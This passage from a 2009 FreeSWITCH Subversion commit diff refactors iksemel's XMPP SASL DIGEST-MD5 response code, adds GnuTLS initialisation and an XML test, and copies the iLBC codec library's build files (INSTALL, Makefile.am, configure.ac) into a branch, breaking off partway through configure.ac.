-		iks_md5_hash (md5, ":00000001:", 10, 0);
-		iks_md5_hash (md5, cnonce, iks_strlen (cnonce), 0);
-		iks_md5_hash (md5, ":auth:", 6, 0);
-		iks_md5_hash (md5, a2, 32, 1);
-		iks_md5_print (md5, response_value);
-		iks_md5_delete (md5);
+	iks_md5_hash (md5, (const unsigned char*)data->auth_username, iks_strlen (data->auth_username), 0);
+	iks_md5_hash (md5, (const unsigned char*)":", 1, 0);
+	iks_md5_hash (md5, (const unsigned char*)realm, iks_strlen (realm), 0);
+	iks_md5_hash (md5, (const unsigned char*)":", 1, 0);
+	iks_md5_hash (md5, (const unsigned char*)data->auth_pass, iks_strlen (data->auth_pass), 1);
+	iks_md5_digest (md5, a1_h);
 
-		i = iks_strlen (data->auth_username) + iks_strlen (realm) +
-			iks_strlen (nonce) + iks_strlen (data->server) +
-			CNONCE_LEN*8 + 136;
-		response = iks_malloc (i);
-		sprintf (response, "username=\"%s\",realm=\"%s\",nonce=\"%s\""
-			",cnonce=\"%s\",nc=00000001,qop=auth,digest-uri=\""
-			"xmpp/%s\",response=%s,charset=utf-8",
-			data->auth_username, realm, nonce, cnonce,
-			data->server, response_value);
-		response_coded = iks_base64_encode (response, 0);
+	iks_md5_reset (md5);
+	iks_md5_hash (md5, (const unsigned char*)a1_h, 16, 0);
+	iks_md5_hash (md5, (const unsigned char*)":", 1, 0);
+	iks_md5_hash (md5, (const unsigned char*)nonce, iks_strlen (nonce), 0);
+	iks_md5_hash (md5, (const unsigned char*)":", 1, 0);
+	iks_md5_hash (md5, (const unsigned char*)cnonce, iks_strlen (cnonce), 1);
+	iks_md5_print (md5, (char*)a1);
 
+	iks_md5_reset (md5);
+	iks_md5_hash (md5, (const unsigned char*)"AUTHENTICATE:xmpp/", 18, 0);
+	iks_md5_hash (md5, (const unsigned char*)data->server, iks_strlen (data->server), 1);
+	iks_md5_print (md5, (char*)a2);
+
+	iks_md5_reset (md5);
+	iks_md5_hash (md5, (const unsigned char*)a1, 32, 0);
+	iks_md5_hash (md5, (const unsigned char*)":", 1, 0);
+	iks_md5_hash (md5, (const unsigned char*)nonce, iks_strlen (nonce), 0);
+	iks_md5_hash (md5, (const unsigned char*)":00000001:", 10, 0);
+	iks_md5_hash (md5, (const unsigned char*)cnonce, iks_strlen (cnonce), 0);
+	iks_md5_hash (md5, (const unsigned char*)":auth:", 6, 0);
+	iks_md5_hash (md5, (const unsigned char*)a2, 32, 1);
+	iks_md5_print (md5, (char*)response_value);
+
+	iks_md5_delete (md5);
+
+	i = iks_strlen (data->auth_username) + iks_strlen (realm) +
+		iks_strlen (nonce) + iks_strlen (data->server) +
+		CNONCE_LEN*8 + 136;
+	response = iks_malloc (i);
+	if (!response) return NULL;
+
+	sprintf (response, "username=\"%s\",realm=\"%s\",nonce=\"%s\""
+		",cnonce=\"%s\",nc=00000001,qop=auth,digest-uri=\""
+		"xmpp/%s\",response=%s,charset=utf-8",
+		data->auth_username, realm, nonce, cnonce,
+		data->server, response_value);
+
+	response_coded = iks_base64_encode (response, 0);
+	if (response_coded) {
 		x = iks_new ("response");
 		iks_insert_cdata (x, response_coded, 0);
-
-		iks_free (response);
 		iks_free (response_coded);
 	}
-	iks_insert_attrib (x, "xmlns", IKS_NS_XMPP_SASL);
-	iks_send (data->prs, x);
-	iks_delete (x);
-	iks_free (b);
+	iks_free (response);
+
+	return x;
 }
 
+static void
+iks_sasl_challenge (struct stream_data *data, iks *challenge)
+{
+	char *message;
+	iks *x;
+	char *tmp;
+
+	tmp = iks_cdata (iks_child (challenge));
+	if (!tmp) return;
+
+	/* decode received blob */
+	message = iks_base64_decode (tmp);
+	if (!message) return;
+
+	/* reply the challenge */
+	if (strstr (message, "rspauth")) {
+		x = iks_new ("response");
+	} else {
+		x = make_sasl_response (data, message);
+	}
+	if (x) {
+		iks_insert_attrib (x, "xmlns", IKS_NS_XMPP_SASL);
+		iks_send (data->prs, x);
+		iks_delete (x);
+	}
+	iks_free (message);
+}
+
 static int
 tagHook (struct stream_data *data, char *name, char **atts, int type)
 {
@@ -438,9 +491,15 @@
 int
 iks_fd (iksparser *prs)
 {
-	struct stream_data *data = iks_user_data (prs);
+	struct stream_data *data;
 
-	return (int) data->sock;
+	if (prs) {
+		data = iks_user_data (prs);
+		if (data) {
+			return (int) data->sock;
+		}
+	}
+	return -1;
 }
 
 int
@@ -453,6 +512,7 @@
 #ifdef HAVE_GNUTLS
 		if (data->flags & SF_SECURE) {
 			len = gnutls_record_recv (data->sess, data->buf, NET_IO_BUF_SIZE - 1);
+			if (len == 0) len = -1;
 		} else
 #endif
 		{
@@ -547,8 +607,34 @@
 	return 0;
 #endif
 }
+#ifdef HAVE_GNUTLS
 
+
 int
+iks_init(void)
+{
+	int ok = 0;
+	
+#ifndef WIN32
+	gcry_control(GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
+#endif
+
+	if (gnutls_global_init () != 0)
+		return IKS_NOMEM;
+
+	return ok;
+
+}
+#else
+int
+iks_init(void)
+{
+	return 0;
+}
+#endif
+
+
+int
 iks_start_tls (iksparser *prs)
 {
 #ifdef HAVE_GNUTLS

Modified: freeswitch/branches/seven/libs/iksemel/test/tst-iks.c (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/test/tst-iks.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/test/tst-iks.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -17,6 +17,8 @@
 		"<iq type='result' to='ydobon@jabber.org'><query xmlns='jabber:iq:version'>"
 		"<name>TestClient</name><os>SuxOS 2000</os><version><stable solidity='rock'/>"
 		"1.2.0 patchlevel 2</version></query></iq>";
+	static char xml2[] =
+		"<Ni><C/>lala<br/><A/>Hello World<B/></Ni>";
 	iks *x, *y, *z;
 	char *t;
 
@@ -52,5 +54,24 @@
 	}
 	iks_delete(x);
 
+
+	x = iks_new ("Ni");
+	y = iks_insert (x, "br");
+	z = iks_prepend_cdata (y, "lala", 4);
+	iks_prepend (z, "C");
+	z = iks_insert_cdata (x, "Hello", 5);
+	y = iks_append (z, "B");
+	iks_prepend (z, "A");
+	iks_append_cdata (z, " ", 1);
+	iks_prepend_cdata (y, "World", 5);
+
+	t = iks_string (iks_stack (x), x);
+	if(!t || strcmp(t, xml2) != 0) {
+		printf("Result:   %s\n", t);
+		printf("Expected: %s\n", xml2);
+		return 1;
+	}
+	iks_delete(x);
+
 	return 0;
 }

Copied: freeswitch/branches/seven/libs/ilbc (from rev 14471, freeswitch/trunk/libs/ilbc)

Property changes: freeswitch/branches/seven/libs/ilbc


Name: svn:ignore
   + Release
*.user
Debug
configure
Makefile.in
config.log
Makefile
config.status
autom4te.cache
libtool
aclocal.m4
x64
config-h.in
configure.lineno

Deleted: freeswitch/branches/seven/libs/ilbc/.update

Copied: freeswitch/branches/seven/libs/ilbc/.update (from rev 14471, freeswitch/trunk/libs/ilbc/.update) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/.update	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/.update	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+Tue Feb 17 10:22:09 CST 2009

Deleted: freeswitch/branches/seven/libs/ilbc/AUTHORS

Copied: freeswitch/branches/seven/libs/ilbc/AUTHORS (from rev 14471, freeswitch/trunk/libs/ilbc/AUTHORS) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/AUTHORS	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/AUTHORS	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2 @@
+Adapted by Steve Underwood <steveu@coppice.org> from the source code
+supplied in RFC3???.

Deleted: freeswitch/branches/seven/libs/ilbc/COPYING

Copied: freeswitch/branches/seven/libs/ilbc/COPYING (from rev 14471, freeswitch/trunk/libs/ilbc/COPYING) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/COPYING	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/COPYING	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+The license conditions for the original iLBC codec may be found in the file
+    gips_iLBClicense.pdf
+No additional license conditions are claimed over this implementation.

Deleted: freeswitch/branches/seven/libs/ilbc/ChangeLog

Copied: freeswitch/branches/seven/libs/ilbc/ChangeLog (from rev 14471, freeswitch/trunk/libs/ilbc/ChangeLog) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/ChangeLog	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/ChangeLog	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+08.02.14 - 0.0.1 - Steve Underwood <steveu@coppice.org>
+    - The first version.
+

Deleted: freeswitch/branches/seven/libs/ilbc/INSTALL

Copied: freeswitch/branches/seven/libs/ilbc/INSTALL (from rev 14471, freeswitch/trunk/libs/ilbc/INSTALL) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/INSTALL	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/INSTALL	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,182 @@
+Basic Installation
+==================
+
+   These are generic installation instructions.
+
+   The `configure' shell script attempts to guess correct values for
+various system-dependent variables used during compilation.  It uses
+those values to create a `Makefile' in each directory of the package.
+It may also create one or more `.h' files containing system-dependent
+definitions.  Finally, it creates a shell script `config.status' that
+you can run in the future to recreate the current configuration, a file
+`config.cache' that saves the results of its tests to speed up
+reconfiguring, and a file `config.log' containing compiler output
+(useful mainly for debugging `configure').
+
+   If you need to do unusual things to compile the package, please try
+to figure out how `configure' could check whether to do them, and mail
+diffs or instructions to the address given in the `README' so they can
+be considered for the next release.  If at some point `config.cache'
+contains results you don't want to keep, you may remove or edit it.
+
+   The file `configure.ac' is used to create `configure' by a program
+called `autoconf'.  You only need `configure.ac' if you want to change
+it or regenerate `configure' using a newer version of `autoconf'.
+
+The simplest way to compile this package is:
+
+  1. `cd' to the directory containing the package's source code and type
+     `./configure' to configure the package for your system.  If you're
+     using `csh' on an old version of System V, you might need to type
+     `sh ./configure' instead to prevent `csh' from trying to execute
+     `configure' itself.
+
+     Running `configure' takes awhile.  While running, it prints some
+     messages telling which features it is checking for.
+
+  2. Type `make' to compile the package.
+
+  3. Optionally, type `make check' to run any self-tests that come with
+     the package.
+
+  4. Type `make install' to install the programs and any data files and
+     documentation.
+
+  5. You can remove the program binaries and object files from the
+     source code directory by typing `make clean'.  To also remove the
+     files that `configure' created (so you can compile the package for
+     a different kind of computer), type `make distclean'.  There is
+     also a `make maintainer-clean' target, but that is intended mainly
+     for the package's developers.  If you use it, you may have to get
+     all sorts of other programs in order to regenerate files that came
+     with the distribution.
+
+Compilers and Options
+=====================
+
+   Some systems require unusual options for compilation or linking that
+the `configure' script does not know about.  You can give `configure'
+initial values for variables by setting them in the environment.  Using
+a Bourne-compatible shell, you can do that on the command line like
+this:
+     CC=c89 CFLAGS=-O2 LIBS=-lposix ./configure
+
+Or on systems that have the `env' program, you can do it like this:
+     env CPPFLAGS=-I/usr/local/include LDFLAGS=-s ./configure
+
+Compiling For Multiple Architectures
+====================================
+
+   You can compile the package for more than one kind of computer at the
+same time, by placing the object files for each architecture in their
+own directory.  To do this, you must use a version of `make' that
+supports the `VPATH' variable, such as GNU `make'.  `cd' to the
+directory where you want the object files and executables to go and run
+the `configure' script.  `configure' automatically checks for the
+source code in the directory that `configure' is in and in `..'.
+
+   If you have to use a `make' that does not supports the `VPATH'
+variable, you have to compile the package for one architecture at a time
+in the source code directory.  After you have installed the package for
+one architecture, use `make distclean' before reconfiguring for another
+architecture.
+
+Installation Names
+==================
+
+   By default, `make install' will install the package's files in
+`/usr/local/bin', `/usr/local/man', etc.  You can specify an
+installation prefix other than `/usr/local' by giving `configure' the
+option `--prefix=PATH'.
+
+   You can specify separate installation prefixes for
+architecture-specific files and architecture-independent files.  If you
+give `configure' the option `--exec-prefix=PATH', the package will use
+PATH as the prefix for installing programs and libraries.
+Documentation and other data files will still use the regular prefix.
+
+   In addition, if you use an unusual directory layout you can give
+options like `--bindir=PATH' to specify different values for particular
+kinds of files.  Run `configure --help' for a list of the directories
+you can set and what kinds of files go in them.
+
+   If the package supports it, you can cause programs to be installed
+with an extra prefix or suffix on their names by giving `configure' the
+option `--program-prefix=PREFIX' or `--program-suffix=SUFFIX'.
+
+Optional Features
+=================
+
+   Some packages pay attention to `--enable-FEATURE' options to
+`configure', where FEATURE indicates an optional part of the package.
+They may also pay attention to `--with-PACKAGE' options, where PACKAGE
+is something like `gnu-as' or `x' (for the X Window System).  The
+`README' should mention any `--enable-' and `--with-' options that the
+package recognizes.
+
+   For packages that use the X Window System, `configure' can usually
+find the X include and library files automatically, but if it doesn't,
+you can use the `configure' options `--x-includes=DIR' and
+`--x-libraries=DIR' to specify their locations.
+
+Specifying the System Type
+==========================
+
+   There may be some features `configure' can not figure out
+automatically, but needs to determine by the type of host the package
+will run on.  Usually `configure' can figure that out, but if it prints
+a message saying it can not guess the host type, give it the
+`--host=TYPE' option.  TYPE can either be a short name for the system
+type, such as `sun4', or a canonical name with three fields:
+     CPU-COMPANY-SYSTEM
+
+See the file `config.sub' for the possible values of each field.  If
+`config.sub' isn't included in this package, then this package doesn't
+need to know the host type.
+
+   If you are building compiler tools for cross-compiling, you can also
+use the `--target=TYPE' option to select the type of system they will
+produce code for and the `--build=TYPE' option to select the type of
+system on which you are compiling the package.
+
+Sharing Defaults
+================
+
+   If you want to set default values for `configure' scripts to share,
+you can create a site shell script called `config.site' that gives
+default values for variables like `CC', `cache_file', and `prefix'.
+`configure' looks for `PREFIX/share/config.site' if it exists, then
+`PREFIX/etc/config.site' if it exists.  Or, you can set the
+`CONFIG_SITE' environment variable to the location of the site script.
+A warning: not all `configure' scripts look for a site script.
+
+Operation Controls
+==================
+
+   `configure' recognizes the following options to control how it
+operates.
+
+`--cache-file=FILE'
+     Use and save the results of the tests in FILE instead of
+     `./config.cache'.  Set FILE to `/dev/null' to disable caching, for
+     debugging `configure'.
+
+`--help'
+     Print a summary of the options to `configure', and exit.
+
+`--quiet'
+`--silent'
+`-q'
+     Do not print messages saying which checks are being made.  To
+     suppress all normal output, redirect it to `/dev/null' (any error
+     messages will still be shown).
+
+`--srcdir=DIR'
+     Look for the package's source code in directory DIR.  Usually
+     `configure' can determine that directory automatically.
+
+`--version'
+     Print the version of Autoconf used to generate the `configure'
+     script, and exit.
+
+`configure' also accepts some other, not widely useful, options.

Deleted: freeswitch/branches/seven/libs/ilbc/Makefile.am

Copied: freeswitch/branches/seven/libs/ilbc/Makefile.am (from rev 14471, freeswitch/trunk/libs/ilbc/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,90 @@
+##
+## iLBC - a library for the iLBC codec
+##
+## Makefile.am -- Process this file with automake to produce Makefile.in
+##
+## This program is free software; you can redistribute it and/or modify
+## it under the terms of the Lesser GNU General Public License version 2.1, as
+## published by the Free Software Foundation.
+##
+## This program is distributed in the hope that it will be useful,
+## but WITHOUT ANY WARRANTY; without even the implied warranty of
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+## GNU General Public License for more details.
+##
+## You should have received a copy of the GNU General Public License
+## along with this program; if not, write to the Free Software
+## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+##
+## $Id: Makefile.am,v 1.1.1.1 2008/02/15 12:15:55 steveu Exp $
+
+AM_CFLAGS = $(COMP_VENDOR_CFLAGS)
+
+noinst_SCRIPTS = ilbc.spec
+
+MAINTAINERCLEANFILES = Makefile.in
+
+EXTRA_DIST = ilbc.spec \
+             wrapper.xsl \
+             gips_iLBClicense.pdf \
+             libilbc.vcproj \
+             doc/libilbc-doxygen \
+             src/ilbc/version.h.in \
+             src/libilbc.dsp \
+             src/libilbc.sln \
+             src/msvc/gettimeofday.c \
+             src/msvc/inttypes.h \
+             src/msvc/tgmath.h \
+             src/msvc/unistd.h \
+             src/msvc/sys/time.h \
+             src/msvc/ilbc.def \
+             src/msvc/msvcproj.head \
+             src/msvc/msvcproj.foot \
+             src/msvc/vc8proj.head \
+             src/msvc/vc8proj.foot \
+             debian/changelog \
+             debian/compat \
+             debian/control \
+             debian/copyright \
+             debian/libilbc.install \
+             debian/libilbc-dev.install \
+             debian/libilbc-doc.install \
+             debian/rules \
+             debian/watch
+
+if COND_DOC
+    MAYBE_DOC=doc
+endif
+if COND_TESTS
+    MAYBE_TESTS=tests
+endif
+SUBDIRS = src $(MAYBE_DOC) $(MAYBE_TESTS)
+
+DIST_SUBDIRS = src doc tests localtests
+
+faq: faq.xml
+	cd faq ; xsltproc ../wrapper.xsl ../faq.xml
+
+rpm: rpm-build
+
+rpm-build:
+	$(MAKE) -$(MAKEFLAGS) bump.rpm.release
+	$(MAKE) -$(MAKEFLAGS) dist
+	rm -rf rpm/BUILD/*
+	rm -f rpm/RPMS/*/*
+	rm -f rpm/SOURCES/*
+	rm -f rpm/SPECS/*
+	rm -f rpm/SRPMS/*
+	rpm -ta --sign @PACKAGE@-@VERSION@.tar.gz
+
+bump.rpm.release: ilbc.spec
+	VERSION="x"; \
+	test -f $(srcdir)/rpm.release && . $(srcdir)/rpm.release; \
+	NEXT_RELEASE=0; \
+	test "$$VERSION" = "@VERSION@" && NEXT_RELEASE="$$RELEASE"; \
+	RELEASE=`expr $$NEXT_RELEASE + 1`; \
+	echo "VERSION=@VERSION@" >$(srcdir)/rpm.release; \
+	echo "RELEASE=$$RELEASE" >>$(srcdir)/rpm.release; \
+	sed 's/^Release: .*/Release: '$$RELEASE'/' \
+		<ilbc.spec >ilbc.spec.new; \
+	mv ilbc.spec.new ilbc.spec

Deleted: freeswitch/branches/seven/libs/ilbc/NEWS

Copied: freeswitch/branches/seven/libs/ilbc/NEWS (from rev 14471, freeswitch/trunk/libs/ilbc/NEWS) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/NEWS	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/NEWS	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+No news is good news!
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/ilbc/README

Copied: freeswitch/branches/seven/libs/ilbc/README (from rev 14471, freeswitch/trunk/libs/ilbc/README) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+VoIPcodecs 0.0.1 - A set of commonly used, unencumbered, codecs for VoIP
+------------------------------------------------------------------------
+
+Steve Underwood <steveu@coppice.org>

Copied: freeswitch/branches/seven/libs/ilbc/config (from rev 14471, freeswitch/trunk/libs/ilbc/config)

Property changes: freeswitch/branches/seven/libs/ilbc/config


Name: svn:ignore
   + config.guess
config.sub
ltmain.sh
depcomp
missing
install-sh

Deleted: freeswitch/branches/seven/libs/ilbc/configure.ac

Copied: freeswitch/branches/seven/libs/ilbc/configure.ac (from rev 14471, freeswitch/trunk/libs/ilbc/configure.ac) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/configure.ac	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/configure.ac	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,292 @@
+#
+# iLBC - a library for the iLBC codec
+#
+# configure.ac -- Process this file with autoconf to produce configure
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2, as
+# published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+#
+# $Id: configure.ac,v 1.1.1.1 2008/02/15 12:15:54 steveu Exp $
+
+# @start 1
+
+AC_INIT
+
+AC_DEFUN([AX_COMPILER_VENDOR],
+[
+AC_CACHE_CHECK([for _AC_LANG compiler vendor], ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor,
+ [ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor=unknown
+  # note: don't check for GCC first, since some other compilers define __GNUC__
+  for ventest in intel:__ICC,__ECC,__INTEL_COMPILER ibm:__xlc__,__xlC__,__IBMC__,__IBMCPP__ gnu:__GNUC__ sun:__SUNPRO_C,__SUNPRO_CC hp:__HP_cc,__HP_aCC dec:__DECC,__DECCXX,__DECC_VER,__DECCXX_VER borland:__BORLANDC__,__TURBOC__ comeau:__COMO__ cray:_CRAYC kai:__KCC lcc:__LCC__ metrowerks:__MWERKS__ sgi:__sgi,sgi microsoft:_MSC_VER watcom:__WATCOMC__ portland:__PGI; do
+    vencpp="defined("`echo $ventest | cut -d: -f2 | sed 's/,/) || defined(/g'`")"
+    AC_COMPILE_IFELSE([AC_LANG_PROGRAM(,[
+#if !($vencpp)
+      thisisanerror;
+#endif
+])], [ax_cv_]_AC_LANG_ABBREV[_compiler_vendor=`echo $ventest | cut -d: -f1`; break])
+  done
+ ])
+])
+
+ILBC_MAJOR_VERSION=0
+ILBC_MINOR_VERSION=0
+ILBC_MICRO_VERSION=1
+
+ILBC_LT_CURRENT=0
+ILBC_LT_REVISION=2
+ILBC_LT_AGE=0
+
+VERSION=$ILBC_MAJOR_VERSION.$ILBC_MINOR_VERSION.$ILBC_MICRO_VERSION
+PACKAGE=ilbc
+
+AC_SUBST(ILBC_LT_CURRENT)
+AC_SUBST(ILBC_LT_REVISION)
+AC_SUBST(ILBC_LT_AGE)
+
+AC_CONFIG_SRCDIR([src/iLBC_encode.c])
+AC_CONFIG_AUX_DIR(config)
+AC_CONFIG_HEADERS([src/config.h:config-h.in])
+AM_INIT_AUTOMAKE($PACKAGE, $VERSION)
+
+AC_CANONICAL_HOST
+AC_CANONICAL_BUILD
+AC_PROG_CC
+AC_PROG_CXX
+AC_PROG_GCC_TRADITIONAL
+AC_PROG_LIBTOOL
+AC_PROG_INSTALL
+AC_LANG([C])
+
+AX_COMPILER_VENDOR
+
+if test "${build}" != "${host}"
+then
+  # If we are doing a Canadian Cross, in which the host and build systems
+  # are not the same, we set reasonable default values for the tools.
+
+  CC=${CC-${host_alias}-gcc}
+  CFLAGS=${CFLAGS-"-g -O2"}
+  CXX=${CXX-${host_alias}-c++}
+  CXXFLAGS=${CXXFLAGS-"-g -O2"}
+  CC_FOR_BUILD=${CC_FOR_BUILD-gcc}
+else
+  # Set reasonable default values for some tools even if not Canadian.
+  # Of course, these are different reasonable default values, originally
+  # specified directly in the Makefile.
+  # We don't export, so that autoconf can do its job.
+  # Note that all these settings are above the fragment inclusion point
+  # in Makefile.in, so can still be overridden by fragments.
+  # This is all going to change when we autoconfiscate...
+  CC_FOR_BUILD="\$(CC)"
+  AC_PROG_CC
+
+  # We must set the default linker to the linker used by gcc for the correct
+  # operation of libtool.  If LD is not defined and we are using gcc, try to
+  # set the LD default to the ld used by gcc.
+  if test -z "$LD"
+  then
+    if test "$GCC" = yes
+    then
+      case $build in
+      *-*-mingw*)
+        gcc_prog_ld=`$CC -print-prog-name=ld 2>&1 | tr -d '\015'` ;;
+      *)
+        gcc_prog_ld=`$CC -print-prog-name=ld 2>&1` ;;
+      esac
+      case $gcc_prog_ld in
+      # Accept absolute paths.
+      [[\\/]* | [A-Za-z]:[\\/]*)]
+        LD="$gcc_prog_ld" ;;
+      esac
+    fi
+  fi
+
+  CXX=${CXX-"c++"}
+  CFLAGS=${CFLAGS-"-g -O2"}
+  CXXFLAGS=${CXXFLAGS-"-g -O2"}
+fi
+
+AC_C_CONST
+AC_C_INLINE
+AC_C_VOLATILE
+
+AC_CHECK_TYPES(long long)
+AC_CHECK_TYPES(long double)
+
+AC_TYPE_SIGNAL
+
+AC_ARG_ENABLE(doc,          [  --enable-doc         Build the documentation])
+AC_ARG_ENABLE(tests,        [  --enable-tests       Build the test programs])
+AC_ARG_ENABLE(mmx,          [  --enable-mmx         Enable MMX support])
+AC_ARG_ENABLE(sse,          [  --enable-sse         Enable SSE support])
+AC_ARG_ENABLE(fixed_point,  [  --enable-fixed-point Enable fixed point support])
+
+AC_FUNC_ERROR_AT_LINE
+AC_FUNC_VPRINTF
+AC_FUNC_MALLOC
+AC_FUNC_MEMCMP
+AC_FUNC_REALLOC
+AC_FUNC_SELECT_ARGTYPES
+
+AC_CHECK_FUNCS([memmove])
+AC_CHECK_FUNCS([memset])
+AC_CHECK_FUNCS([select])
+AC_CHECK_FUNCS([strcasecmp])
+AC_CHECK_FUNCS([strchr])
+AC_CHECK_FUNCS([strdup])
+AC_CHECK_FUNCS([strerror])
+AC_CHECK_FUNCS([strstr])
+AC_CHECK_FUNCS([strtol])
+AC_CHECK_FUNCS([gettimeofday])
+
+AC_HEADER_STDC
+AC_HEADER_SYS_WAIT
+AC_HEADER_TIME
+
+# Check for header files.
+AC_CHECK_HEADERS([socket.h])
+AC_CHECK_HEADERS([inttypes.h], [INSERT_INTTYPES_HEADER="#include <inttypes.h>"])
+AC_CHECK_HEADERS([stdint.h], [INSERT_STDINT_HEADER="#include <stdint.h>"])
+AC_CHECK_HEADERS([unistd.h])
+AC_CHECK_HEADERS([stdlib.h])
+AC_CHECK_HEADERS([string.h])
+AC_CHECK_HEADERS([strings.h])
+AC_CHECK_HEADERS([malloc.h])
+AC_CHECK_HEADERS([tgmath.h], [INSERT_TGMATH_HEADER="#include <tgmath.h>"])
+AC_CHECK_HEADERS([math.h], [INSERT_MATH_HEADER="#include <math.h>"])
+AC_CHECK_HEADERS([float.h])
+AC_CHECK_HEADERS([fcntl.h])
+AC_CHECK_HEADERS([sys/time.h])
+AC_CHECK_HEADERS([sys/select.h])
+AC_CHECK_HEADERS([sys/ioctl.h])
+AC_CHECK_HEADERS([sys/fcntl.h])
+AC_CHECK_HEADERS([audiofile.h])
+if test "${build}" == "${host}"
+then
+  AC_CHECK_HEADERS([X11/X.h])
+fi
+
+AC_LANG([C++])
+
+if test "${build}" == "${host}"
+then
+    case "${host}" in
+    x86_64-*)
+        AC_CHECK_FILE([${prefix}/lib64], libdir='$(exec_prefix)/lib64')
+        ;;
+    esac
+fi
+
+AC_LANG([C])
+
+if test "${build}" == "${host}"
+then
+    case "${host}" in
+    x86_64-*)
+        # X86_64 Linux machines may have both 64 bit and 32 bit libraries. We need to choose the right set
+        AC_CHECK_FILE([/usr/X11R6/lib64], [TESTLIBS="$TESTLIBS -L/usr/X11R6/lib64"], AC_CHECK_FILE([/usr/X11R6/lib], [TESTLIBS="$TESTLIBS -L/usr/X11R6/lib"]))
+        ;;
+    esac
+fi
+
+# Checks for libraries.
+AC_CHECK_LIB([m], [cos])
+AC_CHECK_LIB([m], [pow])
+AC_CHECK_LIB([m], [sqrt])
+if test -n "$enable_tests" ; then
+    AC_LANG([C++])
+    AC_LANG([C])
+    AC_CHECK_LIB([audiofile], [afOpenFile], TESTLIBS="$TESTLIBS -laudiofile", AC_MSG_ERROR("Can't make tests without libaudiofile (does your system require a libaudiofile-devel package?)"))
+    AC_CHECK_LIB([fftw3], [fftw_plan_dft_1d], TESTLIBS="$TESTLIBS -lfftw3")
+    AC_CHECK_LIB([fftw], [fftw_create_plan], TESTLIBS="$TESTLIBS -lfftw")
+fi
+
+AC_ARG_ENABLE([enable_64], [AS_HELP_STRING([--enable-64], [Enable 64bit compilation])], [enable_64="$enableval"], [enable_64="no"])
+
+case "${ax_cv_c_compiler_vendor}" in
+gnu)
+    COMP_VENDOR_CFLAGS="-std=gnu99 -ffast-math -Wall -Wunused-variable -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes"
+    if test "$enable_sse" = "yes" ; then
+        COMP_VENDOR_CFLAGS="-msse $COMP_VENDOR_CFLAGS"
+    fi
+    if test "$enable_mmx" = "yes" ; then
+        COMP_VENDOR_CFLAGS="-mmmx $COMP_VENDOR_CFLAGS"
+    fi
+    ;;
+sun)
+    COMP_VENDOR_CFLAGS="-xc99=all -mt -xCC -D__FUNCTION__=__func__ -xvpara"
+    if test "$enable_64" = "yes" ; then
+        COMP_VENDOR_CFLAGS="-m64 $COMP_VENDOR_CFLAGS"
+    fi
+    ;;
+*)
+    COMP_VENDOR_CFLAGS="-std=c99 -Wall -Wunused-variable -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes"
+    ;;
+esac
+
+COMP_VENDOR_CFLAGS="-DNDEBUG $COMP_VENDOR_CFLAGS"
+
+AM_CONDITIONAL([COND_DOC], [test "$enable_doc" = yes])
+AM_CONDITIONAL([COND_TESTS], [test "$enable_tests" = yes])
+AM_CONDITIONAL([COND_MMX], [test "$enable_mmx" = yes])
+AM_CONDITIONAL([COND_SSE], [test "$enable_sse" = yes])
+if test "$enable_fixed_point" = "yes" ; then
+    AC_DEFINE([ILBC_USE_FIXED_POINT], [1], [Enable fixed point processing, where possible, instead of floating point])
+    ILBC_USE_FIXED_POINT="#define ILBC_USE_FIXED_POINT 1"
+else
+#
+# So far we deal with the embedded ARM, Blackfin, MIPS, TI DSP and XScale processors as
+# things which lack fast hardware floating point.
+#
+# Other candidates would be the small embedded Power PCs.
+#
+    case $basic_machine in
+	      arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] \
+	    | bfin \
+	    | mips | mipsbe | mipseb | mipsel | mipsle \
+	    | tic54x | c54x* | tic55x | c55x* | tic6x | c6x* \
+	    | xscale | xscalee[bl] \
